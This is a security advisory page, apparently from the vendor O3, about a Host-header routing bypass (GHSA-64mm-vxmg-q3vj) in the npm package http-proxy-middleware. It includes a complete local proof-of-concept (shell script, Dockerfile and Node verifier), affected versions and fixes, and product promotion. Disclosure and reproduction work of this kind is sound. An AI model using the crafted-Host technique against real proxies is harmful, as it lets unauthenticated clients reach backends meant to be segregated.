GHSA-64mm-vxmg-q3vj
GHSA-64mm-vxmg-q3vj is a Improper Input Validation vulnerability in http-proxy-middleware. O3 Security confirms whether GHSA-64mm-vxmg-q3vj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
http-proxy-middleware `router` host+path substring matching allows Host-header-driven backend routing bypass
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-64mm-vxmg-q3vj.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
http-proxy-middlewarenpmDescription
Summary
http-proxy-middleware documents router proxy-table entries as host, path, or host+path selectors, but the host+path implementation uses unanchored substring matching on attacker-controlled request metadata. As a result, a crafted Host header that is only a superstring match for a configured host+path key can still route a request to an unintended backend.
Details
Tested code state:
- validated on tag
v4.0.0-beta.5 - corresponding commit:
339f09ede860197807d4fd99ed9020fa5d0bd358
Relevant code locations:
src/router.tssrc/http-proxy-middleware.ts
Affected public API:
createProxyMiddleware({ router: { 'host/path': 'http://target' } })
Code explanation:
When a proxy-table router key contains /, getTargetFromProxyTable() concatenates attacker-controlled req.headers.host and req.url into a single hostAndPath string, then accepts the route if:
hostAndPath.indexOf(key) > -1
That is a substring test, not an exact host match plus intended path match. In the validated PoC, the configured router key is:
localhost:3000/api
but the attacker-controlled host is:
evillocalhost:3000
and the request path is:
/api
The concatenated attacker-controlled string:
evillocalhost:3000/api
still contains the configured router key as a substring, so the middleware selects the alternate backend even though the host is not equal to the configured host.
Exploit path:
- the application enables the documented proxy-table
routerfeature with at least one host+path rule - an external attacker sends an ordinary HTTP request with a crafted
Hostheader HttpProxyMiddleware.prepareProxyRequest()applies router selection before proxyinggetTargetFromProxyTable()accepts the craftedHost + pathstring through substring matching- the request is proxied to the wrong backend
PoC
Create these files in the same working directory and run:
bash ./run.sh
File: run.sh
#!/usr/bin/env bash
set -euo pipefail
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
REPO_URL="https://github.com/chimurai/http-proxy-middleware.git"
REPO_REF="v4.0.0-beta.5"
WORKDIR="$(mktemp -d "${SCRIPT_DIR}/.tmp-repro.XXXXXX")"
TARGET_REPO_DIR="${WORKDIR}/repo"
REPRO_DIR="${WORKDIR}/reproduction"
IMAGE_TAG="http-proxy-middleware-router-bypass-poc"
cleanup() {
rm -rf "${WORKDIR}"
}
trap cleanup EXIT
echo "[a3] cloning target repository"
git clone --quiet "${REPO_URL}" "${TARGET_REPO_DIR}"
git -C "${TARGET_REPO_DIR}" checkout --quiet "${REPO_REF}"
mkdir -p "${REPRO_DIR}"
cp "${SCRIPT_DIR}/Dockerfile" "${WORKDIR}/Dockerfile"
cp "${SCRIPT_DIR}/verify.mjs" "${REPRO_DIR}/verify.mjs"
echo "[a3] building reproduction image"
docker build -f "${WORKDIR}/Dockerfile" -t "${IMAGE_TAG}" "${WORKDIR}"
echo "[a3] running verification"
docker run --rm "${IMAGE_TAG}" node /work/reproduction/verify.mjs
File: Dockerfile
FROM node:22-bullseye
WORKDIR /work
COPY repo/package.json repo/yarn.lock /work/repo/
RUN corepack enable \
&& cd /work/repo \
&& yarn install --frozen-lockfile
COPY repo /work/repo
RUN cd /work/repo && yarn build
COPY reproduction /work/reproduction
File: verify.mjs
import http from 'node:http';
import fs from 'node:fs';
import assert from 'node:assert/strict';
import { createProxyMiddleware } from '/work/repo/dist/index.js';
const ROUTER_KEY = 'localhost:3000/api';
const CRAFTED_HOST = 'evillocalhost:3000';
function listen(server, port) {
return new Promise((resolve) => {
server.listen(port, '127.0.0.1', () => resolve());
});
}
function close(server) {
return new Promise((resolve, reject) => {
server.close((err) => {
if (err) {
reject(err);
return;
}
resolve();
});
});
}
function request(path, host) {
return new Promise((resolve, reject) => {
const req = http.request(
{
host: '127.0.0.1',
port: 3000,
path,
method: 'GET',
headers: {
Host: host,
},
},
(res) => {
let data = '';
res.setEncoding('utf8');
res.on('data', (chunk) => {
data += chunk;
});
res.on('end', () => {
resolve({ statusCode: res.statusCode, body: data });
});
},
);
req.on('error', reject);
req.end();
});
}
const defaultBackend = http.createServer((req, res) => {
res.end('DEFAULT');
});
const secretBackend = http.createServer((req, res) => {
res.end('SECRET');
});
const proxyMiddleware = createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
const proxyServer = http.createServer((req, res) => {
proxyMiddleware(req, res, () => {
res.statusCode = 404;
res.end('NO_PROXY');
});
});
try {
assert.ok(fs.existsSync('/work/repo/dist/index.js'));
assert.ok(fs.existsSync('/work/reproduction/verify.mjs'));
await listen(defaultBackend, 3101);
await listen(secretBackend, 3102);
await listen(proxyServer, 3000);
console.log('STEP start-services ok');
const baseline = await request('/api', 'safe.example:3000');
assert.equal(baseline.statusCode, 200);
assert.equal(baseline.body, 'DEFAULT');
console.log(`STEP baseline-route body=${baseline.body}`);
const crafted = await request('/api', CRAFTED_HOST);
assert.equal(crafted.statusCode, 200);
assert.equal(crafted.body, 'SECRET');
assert.notEqual(CRAFTED_HOST, ROUTER_KEY.split('/')[0]);
console.log(`STEP crafted-route body=${crafted.body}`);
console.log('RESULT reproduced host_header_injection router substring match bypass');
} finally {
await Promise.allSettled([close(proxyServer), close(defaultBackend), close(secretBackend)]);
}
This PoC starts:
- one default backend returning
DEFAULT - one alternate backend returning
SECRET - one proxy using:
createProxyMiddleware({
target: 'http://127.0.0.1:3101',
router: {
[ROUTER_KEY]: 'http://127.0.0.1:3102',
},
});
It then sends:
- a baseline request to
/apiwithHost: safe.example:3000 - a crafted request to
/apiwithHost: evillocalhost:3000
Observed result from the validated PoC:
- baseline request:
STEP baseline-route body=DEFAULT - crafted request:
STEP crafted-route body=SECRET - success marker:
RESULT reproduced host_header_injection router substring match bypass
The PoC is considered successful only if:
- the baseline request stays on the default backend
- the crafted request reaches the alternate backend
- the crafted host is not equal to the configured router host
Impact
This is a backend-selection integrity issue in a documented library feature. Applications that use host+path router-table rules for backend segmentation, tenant routing, or separation of public and more sensitive upstreams can have that routing boundary bypassed by an unauthenticated external client using an ordinary crafted Host header.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | http-proxy-middleware | ≥ 3.0.0&&< 3.0.6 | 3.0.6 |
| 📦npm | http-proxy-middleware | ≥ 4.0.0&&< 4.1.0 | 4.1.0 |
| 📦npm | http-proxy-middleware | ≥ 0.16.0&&< 2.0.10 | 2.0.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for http-proxy-middleware. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update http-proxy-middleware to 3.0.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-64mm-vxmg-q3vj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-64mm-vxmg-q3vj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-64mm-vxmg-q3vj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-64mm-vxmg-q3vj in your dependencies?
O3 detects GHSA-64mm-vxmg-q3vj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.